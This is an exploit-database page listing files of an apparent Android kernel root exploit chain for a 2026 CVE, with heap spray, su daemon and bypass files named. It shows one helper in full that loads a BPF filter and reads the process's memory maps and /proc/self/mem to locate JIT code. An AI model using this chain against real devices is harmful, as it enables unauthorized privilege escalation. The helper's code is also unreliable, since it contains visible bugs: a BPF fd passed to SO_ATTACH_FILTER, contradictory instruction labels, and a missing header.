Exploit databaseDownload repository ZIP
GH-542b23d2091b628cb0ddf12d02f0ac0e
pubglite55/findn2-ksu-chain
Sources for CVE-2026-43499
168 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files23
pubglite55/findn2-ksu-chainRevision c4677b4ae2e2
- ↑..Parent directory
- kernelsnitch/
- common.h
- cve_2026_52910.c
- cve_2026_52910_mini.c
- cve_2026_52910_quick.c
- cve_2026_52910_race.c
- cve_exact_poc.c
- fops.c
- futex_test.h
- get_jit_addr.c
- get_jit_addr_v2.c
- heap_spray.c
- main.c
- offset.h
- pipe.c
- preload.c
- root.c
- slide.c
- su_blob.S
- su_daemon.c
- util.c
- util.c.bypass
- wallpaper_blob.S
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
legacy-exploit/src/get_jit_addr_v2.c
C · 7,226 bytes/*
* get_jit_addr_v2.c — Use bpf() syscall to find JIT code address
*
* Strategy:
* 1. Use bpf(BPF_PROG_LOAD) to compile a cBPF program
* 2. Attach it to a socket via SO_ATTACH_FILTER
* 3. Read /proc/self/maps to find the JIT executable region
* 4. Read the JIT code to analyze instruction patterns
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <linux/filter.h>
#include <linux/bpf.h>
#include <fcntl.h>
#define PORT 12347
/* Simple cBPF: LD_B_ABS(0) + RET_A */
static struct sock_filter filt[] = {
{ BPF_LD | BPF_B | BPF_ABS, 0, 0, 0 },
{ BPF_RET | BPF_A, 0, 0, 0 },
};
static int bpf_prog_load(struct sock_filter *insns, int len) {
union bpf_attr attr = {0};
attr.prog_type = BPF_PROG_TYPE_SOCKET_FILTER;
attr.insns = (unsigned long)insns;
attr.insn_cnt = len;
attr.license = (unsigned long)"GPL";
attr.log_buf = 0;
attr.log_size = 0;
attr.log_level = 0;
attr.kern_version = 0;
return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));
}
int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
printf("=== JIT Address Finder v2 ===\n");
/* Step 1: Load BPF program via bpf() syscall */
int prog_fd = bpf_prog_load(filt, 2);
if (prog_fd < 0) {
printf("[-] bpf(BPF_PROG_LOAD) failed: %s (errno=%d)\n",
strerror(errno), errno);
printf("[*] Trying SO_ATTACH_FILTER instead...\n");
int s = socket(AF_INET, SOCK_DGRAM, 0);
int one = 1;
setsockopt(s, SOL_SOCKET, SO_REUSEPORT, &one, sizeof(one));
struct sockaddr_in addr = {0};
addr.sin_family = AF_INET;
addr.sin_port = htons(PORT);
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
bind(s, (struct sockaddr *)&addr, sizeof(addr));
struct sock_fprog fprog = { .len = 2, .filter = filt };
if (setsockopt(s, SOL_SOCKET, SO_ATTACH_FILTER, &fprog, sizeof(fprog)) < 0) {
printf("[-] SO_ATTACH_FILTER also failed: %s\n", strerror(errno));
return 1;
}
printf("[+] SO_ATTACH_FILTER succeeded\n");
} else {
printf("[+] bpf(BPF_PROG_LOAD) succeeded fd=%d\n", prog_fd);
/* Step 2: Attach to socket */
int s = socket(AF_INET, SOCK_DGRAM, 0);
int one = 1;
setsockopt(s, SOL_SOCKET, SO_REUSEPORT, &one, sizeof(one));
struct sockaddr_in addr = {0};
addr.sin_family = AF_INET;
addr.sin_port = htons(PORT);
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
bind(s, (struct sockaddr *)&addr, sizeof(addr));
setsockopt(s, SOL_SOCKET, SO_ATTACH_FILTER, &prog_fd, sizeof(prog_fd));
close(prog_fd);
}
/* Step 3: Read /proc/self/maps to find JIT region */
printf("\n[*] Reading /proc/self/maps for JIT regions:\n");
FILE *f = fopen("/proc/self/maps", "r");
if (f) {
char line[512];
while (fgets(line, sizeof(line), f)) {
printf(" %s", line);
}
fclose(f);
}
/* Step 4: Try to read JIT code from anonymous executable regions */
printf("\n[*] Looking for anonymous executable regions (potential JIT):\n");
f = fopen("/proc/self/maps", "r");
if (f) {
char line[512];
while (fgets(line, sizeof(line), f)) {
unsigned long start, end;
char perms[8], path[256];
if (sscanf(line, "%lx-%lx %7s %*s %*s %*s %255[^\n]",
&start, &end, perms, path) >= 3) {
if (perms[0] == 'r' && perms[2] == 'x' &&
(path[0] == '\0' || path[1] == ' ')) {
printf("[+] JIT candidate: %016lx-%016lx %s %s\n",
start, end, perms, path);
/* Try to read the JIT code */
size_t size = end - start;
if (size > 4096) size = 4096;
int fd = open("/proc/self/mem", O_RDONLY);
if (fd >= 0) {
unsigned char buf[256];
if (pread(fd, buf, sizeof(buf), start) == sizeof(buf)) {
printf("[+] First 64 bytes of JIT code:\n ");
for (int i = 0; i < 64; i++)
printf("%02x ", buf[i]);
printf("\n");
/* Decode ARM64 instructions */
printf("[+] ARM64 instruction decode:\n");
for (int i = 0; i < 64; i += 4) {
uint32_t insn = *(uint32_t *)(buf + i);
printf(" %016lx: %08x", start + i, insn);
/* Quick decode common patterns */
if ((insn & 0xFFE0001F) == 0xD63F0000)
printf(" ; RET");
else if ((insn & 0xFFC00000) == 0x94000000)
printf(" ; BL 0x%lx", start + i + ((int32_t)(insn << 6) >> 4));
else if ((insn & 0xFF000000) == 0x58000000)
printf(" ; LDR Xn, [PC+#0x%x]", (insn >> 5) & 0x7FFFF);
else if ((insn & 0xFFC00000) == 0xA9000000)
printf(" ; STP");
else if ((insn & 0xFFC00000) == 0xA9400000)
printf(" ; LDP");
else if ((insn & 0xFFE00000) == 0xD1000000)
printf(" ; SUB SP");
else if (insn == 0xD65F03C0)
printf(" ; RET");
else if (insn == 0xD63F0000)
printf(" ; BLR X0");
else if ((insn & 0xFFE00000) == 0xF9400000)
printf(" ; LDR Xn, [Xm+#off]");
else if ((insn & 0xFFE00000) == 0xF9000000)
printf(" ; STR Xn, [Xm+#off]");
printf("\n");
}
}
close(fd);
}
}
}
}
fclose(f);
}
/* Step 5: Also check /proc/<pid>/smaps for JIT */
printf("\n[*] Checking smaps for executable regions:\n");
char smaps_path[64];
snprintf(smaps_path, sizeof(smaps_path), "/proc/%d/smaps", getpid());
f = fopen(smaps_path, "r");
if (f) {
char line[256];
int in_jit = 0;
while (fgets(line, sizeof(line), f)) {
if (strstr(line, "r-xp") && !strstr(line, "/")) {
printf(" %s", line);
in_jit = 1;
} else if (in_jit && strstr(line, "Size:")) {
printf(" %s", line);
in_jit = 0;
}
}
fclose(f);
}
return 0;
}